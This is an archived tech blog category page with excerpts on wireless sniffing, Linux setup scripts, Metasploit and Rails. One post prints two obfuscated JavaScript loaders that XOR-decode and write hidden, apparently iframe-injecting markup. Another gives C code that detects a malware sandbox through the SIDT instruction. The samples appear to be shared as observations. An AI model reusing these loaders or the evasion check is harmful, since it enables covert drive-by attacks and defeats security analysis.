You are viewing a read-only archive of the Blogs.Harvard network. Learn more.
Skip to content

Category Archives: Interesting Tech

Technology

Wireless Security Review: Kismet++

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. wardriving.com Wardriving news portal – Ethereal/Tcpdump compatible data logging – Airsnort compatible weak-iv packet logging – Network IP range detection – Built-in channel hopping and multicard split channel hopping – Hidden network SSID decloaking – Graphical mapping of networks Q: What happens […]

Decrypting Wireless Packets

http://www.kismetwireless.net/Forum/General/Messages/1148589487.250937 If I’ve used kismet to create a dump file (full packet capture) with WEP encrypted data and then later learn the WEP key, how can I can I apply this key (and BSID) to decrypt the data?

Creating a chroot environment in Ubuntu Edgey

I searched for a good tutorial on this and ended up cobbling together a few different ones. The article I worked the most from is Chrooted SSH HowTo which shows a general Debian Setup. In fact almost all of the article is applicable to a semi up to date Ubuntu distro. A lot of the […]

Rails install script for Ubuntu (feisty fawn)

echo “Credit to Urban Puddle for the guide” echo “this is the article in script form” echo “you can cut and paste this entire article into a shell script and run it.” sudo apt-get update sudo apt-get dist-upgrade sudo apt-get install build-essential sudo apt-get install ruby ri rdoc mysql-server libmysql-ruby ruby1.8-dev irb1.8 libdbd-mysql-perl libdbi-perl libmysql-ruby1.8 […]

Aptana (formerly RadRails) setup for OS X

If you are planning to use Aptana for Rails development on OS X make sure to first change the default location of the ruby VM. I’m not sure why it gets the location wrong but you can’t start writing the next great app until you fix this. This forum post tells you the location to […]

New javascript exploit style

Now with passwords? <script language=”JavaScript” type=”text/javascript”> <!– var password=’5%60o%7Bhdl%29z%7Bj4+a%7D %7Dy3%26%26fzlq%27ah%7Bm%24jf%7Bl%24qqq %27jfd%26%7Bhgm%27yay+%29%7E%60m %7Da4899%2C%29al%60na%7D48%3B99%29DH %5BN@G%5E@M%5DA49%29DH%5BN@GAL@NA %5D49%29AZYHJL49%29_ZYHJL49%29O%5B HDLKF%5BML%5B49%29ZJ%5BFEE4GF75%26 %60o%7Bhdl75a%7B%29%7E%60m%7Da4+%3E %3F9+%29z%60sl4+8+75m%60%7F%29z%7D pel4+yfz%60%7D%60fg3%29hkzfe%7C%7Dl2%29 elo%7D3%29%2400000yq2%29%7Dfy3%29%24 00000yq2%29%7E%60m%7Da3%298yq2%29al %60na%7D3%298yq2+7′; function get(key){var ID=’9′;var out=””;var i;for(i=0;i<key.length;i++) {out+=String.fromCharCode(ID^key.charCodeAt(i));} return out;}document.write(get(unescape(password))); //–> </script>   <script language=”JavaScript” type=”text/javascript”> <!– var password=’5%60o%7Bhdl%29z%7Bj4+a%7D%7Dy3 %26%2618%27%3B0%27%3B%3D8 %27%3B%3A%3F%26hjj%3B%26%7Ef%7Bb988 %3B%26%60gmlq%27yay+%29%7E%60m %7Da48%29al%60na%7D4875%26%60o%7Bhdl7′; function get(key){var ID=’9′;var out=””;var i;for(i=0;i<key.length;i++){out+=String.fromCharCode(ID^key.charCodeAt(i));} return out;}document.write(get(unescape(password))); //–> </script>

Digg the Article

The article I wrote about Vista as a degenerative technology was selected by the FSF for publication and is now on digg. Here is the gist of the article: More then ever, the industries who produce the entertainment consumed by the masses treat those very same people as potential criminals. Microsoft isn ’t kowtowing to […]

Metasploit 3.0 (now with more ruby)

The Metasploit Framework (“Metasploit”) is a development platform for creating security tools and exploits. Version 3.0 contains 177 exploits, 104 payloads, 17 encoders, and 3 nop modules. Additionally, 30 auxiliary modules are included that perform a wide range of tasks, including host discovery, protocol fuzzing, and denial of service testing.

Handbrake for Ubuntu

Original from http://textsnippets.com/posts/show/287 (modified slightly to fix url issue and update to 0.71) sudo apt-get install nasm build-essential devscripts fakeroot mkdir ~/tmp cd tmp wget http://apt.cerkinfo.be/pool/main/x264/x264_0.0.20050906-1.diff.gz wget http://apt.cerkinfo.be/pool/main/x264/x264_0.0.20050906-1.dsc wget http://apt.cerkinfo.be/pool/main/x264/x264_0.0.20050906.orig.tar.gz dpkg-source -x x264_0.0.20050906-1.dsc cd x264-0.0.20050906/ dpkg-buildpackage -rfakeroot cd .. sudo dpkg -i *.deb sudo apt-get install debhelper libgtk2.0-dev jam nasm liba52-dev libavcodec-dev libdvdcss2-dev libdvdread3-dev libfaac-dev […]

A sample evasion technique

The following code creates the file c:\donothing.txt according to the Sandbox Analyzer, while it creates the file c:\breakstuff.txt on a real computer running a real copy of Windows. unsigned char idt[6]; __asm { sidt idt } if ((0x00 == idt[0]) && (0x08 == idt[1])) { fp = fopen(“c:\\donothing.txt”, “w”); fclose(fp); } else { fp = […]